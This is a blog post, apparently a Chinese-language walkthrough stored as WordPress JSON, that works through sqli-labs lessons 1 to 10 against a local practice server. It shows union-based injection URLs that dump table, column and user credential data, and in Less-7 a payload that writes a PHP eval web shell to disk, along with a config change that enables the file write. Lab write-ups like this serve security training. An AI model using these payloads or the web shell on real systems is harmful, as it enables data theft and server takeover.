{"id":40,"date":"2022-03-22T20:33:52","date_gmt":"2022-03-22T12:33:52","guid":{"rendered":"http:\/\/47.118.40.97:8082\/?p=40"},"modified":"2023-09-22T14:03:59","modified_gmt":"2023-09-22T06:03:59","slug":"sqli-labs","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=40","title":{"rendered":"sqli-labs"},"content":{"rendered":"<h5>Less-1<\/h5>\n<pre><code class=\"language-shell\">http:\/\/127.0.0.1:8082\/Less-1\/?id=1&#039;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322143714772.png\" alt=\"image-20220322143714772\" \/><\/p>\n<p>\u4ea7\u751f\u62a5\u9519\uff0c\u4ece\u9519\u8bef\u4fe1\u606f\u4e2d\u770b\u51fa ' \u53ef\u4ee5\u8fdb\u884c\u6ce8\u5165<\/p>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-1\/?id=1&#039; or 1=1%23<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322143904978.png\" alt=\"image-20220322143904978\" \/><\/p>\n<p>\u6210\u529f\u8bbf\u95ee\u3002\u4f7f\u7528order by\u5224\u65ad\u8868\u7684\u5217\u6570\uff0c\u6700\u7ec8\u6d4b\u51fa\u6765\u5217\u6570\u4e3a3\uff0c\u8d85\u51fa3\u4f1a\u62a5\u9519<\/p>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-1\/?id=1&#039; order by 4%23\nhttp:\/\/127.0.0.1:8082\/Less-1\/?id=1&#039; order by 3%23<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322144628566.png\" alt=\"image-20220322144628566\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322144647257.png\" alt=\"image-20220322144647257\" \/><\/p>\n<p>\u5224\u65ad\u56de\u663e\u4f4d<\/p>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-1\/?id=-1&#039; union select 1,2,3%23<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322145016486.png\" alt=\"image-20220322145016486\" \/><\/p>\n<p>\u56de\u663e\u4f4d\u4e3a2\uff0c3\u3002\u8bf4\u660e\u8fd4\u56de\u4e86\u7b2c\u4e8c\u5217\u7b2c\u4e09\u5217\u7684\u5185\u5bb9\u3002\u5229\u7528\u8fd9\u4e24\u4e2a\u4f4d\u7f6e\u8fdb\u884c\u6570\u636e\u56de\u663e<\/p>\n<pre><code>\u67e5\u770b\u5f53\u524d\u6570\u636e\u5e93\u8868\u540d\nhttp:\/\/127.0.0.1:8082\/Less-1\/?id=-1&#039; union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322145722136.png\" alt=\"image-20220322145722136\" \/><\/p>\n<pre><code>\u67e5\u770b\u8868\u4e2d\u6709\u54ea\u4e9b\u5217\nhttp:\/\/127.0.0.1:8082\/Less-1\/?id=-1&#039; union select 1,2,group_concat(column_name) from information_schema.columns where table_name=&#039;users&#039;%23<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322145909614.png\" alt=\"image-20220322145909614\" \/><\/p>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-1\/?id=-1&#039; union select 1,2,group_concat(username,password) from users%23<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322150720881.png\" alt=\"image-20220322150720881\" \/><\/p>\n<h5>Less-2<\/h5>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-2\/?id=1&#039;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322151412141.png\" alt=\"image-20220322151412141\" \/><\/p>\n<p>\u4ece\u9519\u8bef\u4fe1\u606f\u53ef\u4ee5\u5224\u65ad\u4e3a\u6570\u5b57\u578b\u67e5\u8be2<\/p>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-2\/?id=-1 or 1=1%23<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322151609672.png\" alt=\"image-20220322151609672\" \/><\/p>\n<p>\u5269\u4e0b\u6b65\u9aa4\u4e0eLess-1\u76f8\u540c<\/p>\n<h5>Less-3<\/h5>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-3\/?id=&#039;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322153113611.png\" alt=\"image-20220322153113611\" \/><\/p>\n<p>\u8868\u660e\u4f7f\u7528\u4e86 ('   ') \u5305\u88f9<\/p>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-3\/?id=-1&#039;) or 1=1%23<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322153226783.png\" alt=\"image-20220322153226783\" \/><\/p>\n<p>\u5269\u4f59\u6b65\u9aa4\u540c\u4e0a<\/p>\n<h5>Less-4<\/h5>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-4\/?id=1&quot;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322154618906.png\" alt=\"image-20220322154618906\" \/><\/p>\n<p>\u5224\u65ad\u4f7f\u7528\u4e86 (&quot;   &quot;) \u5305\u88f9<\/p>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-4\/?id=-1&quot;) or 1=1%23<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322154756729.png\" alt=\"image-20220322154756729\" \/><\/p>\n<p>\u5269\u4f59\u6b65\u9aa4\u540c\u4e0a<\/p>\n<h5>Less-5<\/h5>\n<p>\u4e3a\u76f2\u6ce8\uff0c\u4f7f\u7528\u811a\u672c\u8fdb\u884c\u7206\u7834<\/p>\n<p>\u5f97\u5230\u7ed3\u679c\uff1a<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220322202838686.png\" alt=\"image-20220322202838686\" \/><\/p>\n<h5>Less-6<\/h5>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220323144601945.png\" alt=\"image-20220323144601945\" \/><\/p>\n<p>\u8ddfless-5\u7c7b\u4f3c\uff0c\u6839\u636e\u62a5\u9519\u4fe1\u606f\u9700\u8981\u6539\u53d8\u4e3a  ?id=1&quot; <\/p>\n<p>\u901a\u8fc7\u811a\u672c\u8fdb\u884c\u7206\u7834<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220323144516795.png\" alt=\"image-20220323144516795\" \/><\/p>\n<h5>Less-7<\/h5>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-7\/?id=1&#039;)) or 1=1%23<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220323152841702.png\" alt=\"image-20220323152841702\" \/><\/p>\n<p>\u901a\u8fc7\u56de\u663e\u5224\u65ad\u5b58\u5728\u6ce8\u5165\u70b9<\/p>\n<p>\u8fd9\u91cc\u53ef\u80fd\u4f1a\u51fa\u73b0\u6587\u4ef6\u4e0a\u4f20\u4e0d\u6210\u529f\u7684\u95ee\u9898\uff0c\u9020\u6210\u8fd9\u4e2a\u95ee\u9898\u7684\u539f\u56e0\u53ef\u80fd\u6709\u4e24\u4e2a<\/p>\n<ol>\n<li>\n<p>\u6ca1\u6709root\u6743\u9650\uff0c\u5982\u679c\u662f\u672c\u5730\u642d\u5efa\u5219\u4e0d\u4f1a\u51fa\u73b0\u8fd9\u79cd\u95ee\u9898<\/p>\n<\/li>\n<li>\n<p>\u6ca1\u6709\u5bfc\u5165\u5bfc\u51fa\u6743\u9650\uff0c\u539f\u56e0\u662f\u7531\u53c2\u6570secure_file_priv\u51b3\u5b9a\u7684\uff0csecure-file-priv\u53c2\u6570\u662f\u7528\u6765\u9650\u5236LOAD DATA, SELECT \u2026 OUTFILE, and LOAD_FILE()\u4f20\u5230\u54ea\u4e2a\u6307\u5b9a\u76ee\u5f55\u7684<\/p>\n<ul>\n<li>\n<p>\u5f53secure_file_priv\u7684\u503c\u4e3anull \uff0c\u8868\u793a\u9650\u5236mysqld \u4e0d\u5141\u8bb8\u5bfc\u5165|\u5bfc\u51fa<\/p>\n<\/li>\n<li>\n<p>\u5f53secure_file_priv\u7684\u503c\u4e3a\/tmp\/ \uff0c\u8868\u793a\u9650\u5236mysqld \u7684\u5bfc\u5165|\u5bfc\u51fa\u53ea\u80fd\u53d1\u751f\u5728\/tmp\/\u76ee\u5f55\u4e0b<\/p>\n<\/li>\n<li>\n<p>\u5f53secure_file_priv\u7684\u503c\u6ca1\u6709\u5177\u4f53\u503c\u65f6\uff08null\u503c\uff09\uff0c\u8868\u793a\u4e0d\u5bf9mysqld \u7684\u5bfc\u5165|\u5bfc\u51fa\u505a\u9650\u5236<\/p>\n<\/li>\n<\/ul>\n<\/li>\n<\/ol>\n<p>\u6211\u662f\u672c\u5730\u642d\u5efa\uff0c\u8003\u8651\u7b2c\u4e8c\u79cd\u53ef\u80fd\uff0c\u6253\u5f00my.ini\u6587\u4ef6\u8fdb\u884c\u53c2\u6570\u4fee\u6539\uff0c\u5982\u679c\u6ca1\u6709\u5219\u76f4\u63a5\u6dfb\u52a0\u5373\u53ef<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220323161621738.png\" alt=\"image-20220323161621738\" \/><\/p>\n<p>\u8bbe\u7f6e\u5b8c\u6210\u540e\u91cd\u542f\u6570\u636e\u5e93\u5373\u53ef\u6210\u529f\u4e0a\u4f20<\/p>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-7\/?id=1&#039;))UNION SELECT 1,2,&#039;&lt;?php @eval($_post[\u201cmima\u201d ])?&gt;&#039; into outfile &quot;c:\\\\wamp\\\\www\\\\sqllib\\\\Less-7\\\\yijuhua.php&quot;%23<\/code><\/pre>\n<p>\u4e0a\u4f20\u6210\u529f\u540e\u8fdb\u884cpost\u4f20\u9001\u547d\u4ee4\u5373\u53ef<\/p>\n<h5>Less-8<\/h5>\n<p>\u4e3a\u5e03\u5c14\u76f2\u6ce8\uff0c\u6ce8\u5165\u70b9\u4e3a<\/p>\n<pre><code>http:\/\/127.0.0.1:8082\/Less-8\/?id=1&#039;<\/code><\/pre>\n<p>\u4f7f\u7528\u811a\u672c\u8fdb\u884c\u7206\u7834\u5373\u53ef<\/p>\n<h5>Less-9<\/h5>\n<p>\u4e3a\u65f6\u95f4\u76f2\u6ce8\uff0c\u8865\u5145\u77e5\u8bc6\u70b9<\/p>\n<pre><code>IF(expr1,expr2,expr3)\n\u5982\u679c expr1 \u662fTRUE\uff0c\u5219 IF()\u7684\u8fd4\u56de\u503c\u4e3aexpr2; \u5426\u5219\u8fd4\u56de\u503c\u5219\u4e3a expr3\u3002IF() \u7684\u8fd4\u56de\u503c\u4e3a\u6570\u5b57\u503c\u6216\u5b57\u7b26\u4e32\u503c\uff0c\u5177\u4f53\u60c5\u51b5\u89c6\u5176\u6240\u5728\u8bed\u5883\u800c\u5b9a<\/code><\/pre>\n<p>\u4f7f\u7528\u65f6\u95f4\u76f2\u6ce8\u811a\u672c\u8fdb\u884c\u7206\u7834<\/p>\n<h5>Less-10<\/h5>\n<p>\u53cc\u5f15\u53f7\u65f6\u95f4\u76f2\u6ce8\uff0c\u4fee\u6539\u811a\u672c\u8fdb\u884c\u7206\u7834\u5373\u53ef<\/p>\n<blockquote>\n<p>\u811a\u672c\u8bf7\u79fb\u81f3\uff1a<a href=\"http:\/\/47.118.40.97:8082\/index.php\/jiaoben\/\" target=\"_blank\"  rel=\"nofollow\" >http:\/\/47.118.40.97:8082\/index.php\/jiaoben\/<\/a> \u8fdb\u884c\u4e0b\u8f7d<\/p>\n<\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>Less-1 http:\/\/127.0.0.1:8082\/Less-1\/?id=1&#039; \u4ea7\u751f\u62a5\u9519\uff0c\u4ece\u9519\u8bef\u4fe1\u606f\u4e2d\u770b\u51fa &#8216; \u53ef &#823","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[9],"tags":[],"class_list":["post-40","post","type-post","status-publish","format-standard","hentry","category-9"],"_links":{"self":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/40","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=40"}],"version-history":[{"count":6,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/40\/revisions"}],"predecessor-version":[{"id":140,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/40\/revisions\/140"}],"wp:attachment":[{"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=40"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=40"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=40"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}